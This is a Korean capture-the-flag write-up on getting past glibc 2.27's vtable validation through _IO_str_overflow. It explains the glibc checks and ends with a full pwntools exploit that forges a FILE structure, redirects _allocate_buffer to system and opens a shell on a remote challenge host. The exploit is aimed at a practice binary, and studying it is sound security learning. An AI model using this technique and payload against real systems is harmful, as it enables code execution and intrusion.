개념정리
glibc 2.27 버전부터 vtable에 대한 검증로직이 추가됐다.
이전 버전에서는 파일 포인터의 vtable 포인터를 덮을 수 있는 상황이라면 파일 함수가 참조하는 함수 포인터의 주소를 덮어써서 쉽게 공격할 수 있었다. 그러나 IO_validate_vtable 함수가 생겨나면서 이전 버전에서는 더 이상 같은 기법으로 공격할 수 없다.
어떻게 검증로직이 추가됐는지 알아보자.
○ IO_validate_vtable
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
검증 로직은 vtable 주소가 _libc_IO_vtables
영역에 존재하지 않는다면 IO_vtable_check
함수를 호출하여 포인터를 추가로 확인하는 방식이다.
○ _IO_vtable_check
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
vtable 검증 로직에 걸리면 IO_vtable_check
함수가 실행되면서 __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n")
가 실행된다.
따라서 vtable 검증을 우회하려면 _libc_IO_vtables
영역에 존재하는 함수를 fake vtable로 사용해야한다.
IO_vtable_check를 우회하기 위해 사용할 수 있는 _libc_IO_vtables 내부 함수는 _IO_str_overflow
과 _IO_str_finish
가 있다.
이번 글에서는 _IO_str_overflow
을 이용해서 bypass하는 방법에 대해 알아보자.
○ _IO_str_overflow
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
위 코드는 _IO_str_overflow
함수다.
함수 동작원리를 분석하고 exploit 방법을 생각해보자.
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
코드 마지막 부분을 보면 _s._allocate_buffer
라는 이름의 함수 포인터를 호출하여 실행한다.
_s._allocate_buffer
를 system 함수의 주소로 덮어쓸 수 있다면 system 함수를 실행하도록 유도할 수 있다.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
_s._allocate_buffer
의 인자인 new_size는 위 코드를 통해서 결정된다.
_IO_FILE 구조체 변수인 _IO_buf_end
와 _IO_buf_base
변수의 연산 값을 사용한다. 따라서 파일 구조체를 조작할 수 있는 상황이라면 new_size
변수를 조작할 수 있다.
즉, _s._allocate_buffer
, _IO_buf_end
, _IO_buf_base
를 조작할 수 있다면 원하는 명령을 실행할 수 있다.
○ 비교구문 조건
int flush_only = c == EOF;
_IO_size_t pos;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
주의할 점은 위 접근 조건을 우회해야된다는 점이다.
비교 구문에서 사용되는 flush_only
변수는 기본값이 0
이며, 구문을 요약하면 pos >= _IO_blen(fp)
로 추릴 수 있다. 따라서 _IO_write_base
를 0
으로 초기화하면 _IO_write_ptr
값이 곧 pos
변수의 값이 되므로 쉽게 해당 비교 구문을 통과하고 함수 포인터를 호출할 수 있다.
지금부터 문제를 통해 실습해보자.
문제분석 & 풀이
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
코드 구성은 stdout 주소를 출력하고 fp에 입력할 수 있는 구조다.
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
먼저, stdout 주소를 통해 libc_base와 io_str_overflow 주소를 계산할 수 있다.
특히, io_str_overflow 주소는 동적분석을 통해 io_file_jumps와의 거리가 0xd8이라는 것을 토대로 계산할 수 있다.
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64((int((binsh - 100) / 2))) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64((int((binsh - 100) / 2))) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
계산한 주소들을 토대로 필요한 주소들을 계산하고 fd를 위와 같이 구성한다.
_s._allocate_buffer
호출 시 인자로 사용할 new_size
를 먼저 “/bin/sh” 문자열의 주소로 조작해야 한다. new_size
는 아래와 같은 수식으로 연산되는 변수이므로, _IO_buf_end
를 “/bin/sh” 주소로, _IO_buf_base
를 0
으로 덮어쓰면 된다.
추가로 _IO_write_ptr
변수를 _IO_buf_end
와 똑같이 설정하는 것을 볼 수 있는데, 이는 개념정리
에서 언급했던 비교구문 조건
을 충족하기위해서다.
다음으로
fclose(fp);
문제 코드에서 fclode(fp)를 호출하고 있다.
fclose
는 내부적으로 _IO_FINISH
함수를 호출하는데, 이 함수 또한 __libc_IO_vtables 섹션 내에 존재한다. fclose
함수가 _IO_FINISH
함수를 참조하기 전에 파일 구조체의 vtable 주소를 조작해 IO_str_overflow
함수를 참조하게 만든다면 해당 함수 내부에서 호출하는 함수 포인터를 system
으로 조작해 셸을 획득할 수 있다.
즉, vtable을 조작해서 IO_str_overflow
함수를 참조하게 만들어야한다.
payload 코드를 보면 알 수 있듯이 fd+0xd8
가 vtable 위치임으로 fake_vtable로 덮어썼다.
fake_vtable = io_str_overflow - 16
여기서 fake_vtable
을 io_str_overflow - 16
로 계산한 이유는 fclose
내부에서 _IO_FINISH
를 호출할때, vtable + 16 바이트를 덧셈한 위치에 있는 주소를 호출하기 때문이다.
따라서 vtable을 io_str_overflow - 16
로 조작하면 _IO_FINISH
를 호출할 때, IO_str_overflow
가 호출된다.
payload += p64(fp + 0x80) # _lock
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
마지막으로 fp->_s._allocate_buffer
는 vtable + 0x8
바이트 위치임으로 위와 같이 fake_vtable 이후에 system 주소를 입력했다.
추가로 _lock
은 write 가능한 영역을 아무곳이나 지정하면된다.
exploit
from pwn import *
import warnings
warnings.filterwarnings('ignore')
#p = process("./bypass_valid_vtable", env={"LD_PRELOAD":"./libc.so.6"})
p = remote("host3.dreamhack.games",20952)
libc = ELF('./libc.so.6')
elf = ELF('./bypass_valid_vtable')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 16
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols['system']
fp = elf.symbols['fp']
payload = p64(0x0) # flags
payload += p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64((int((binsh - 100) / 2))) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64((int((binsh - 100) / 2))) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(fp + 0x80) # _lock -> write 가능한 영역을 지정
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite
payload += p64(system) # fp->_s._allocate_buffer RIP
p.sendline(payload)
p.interactive()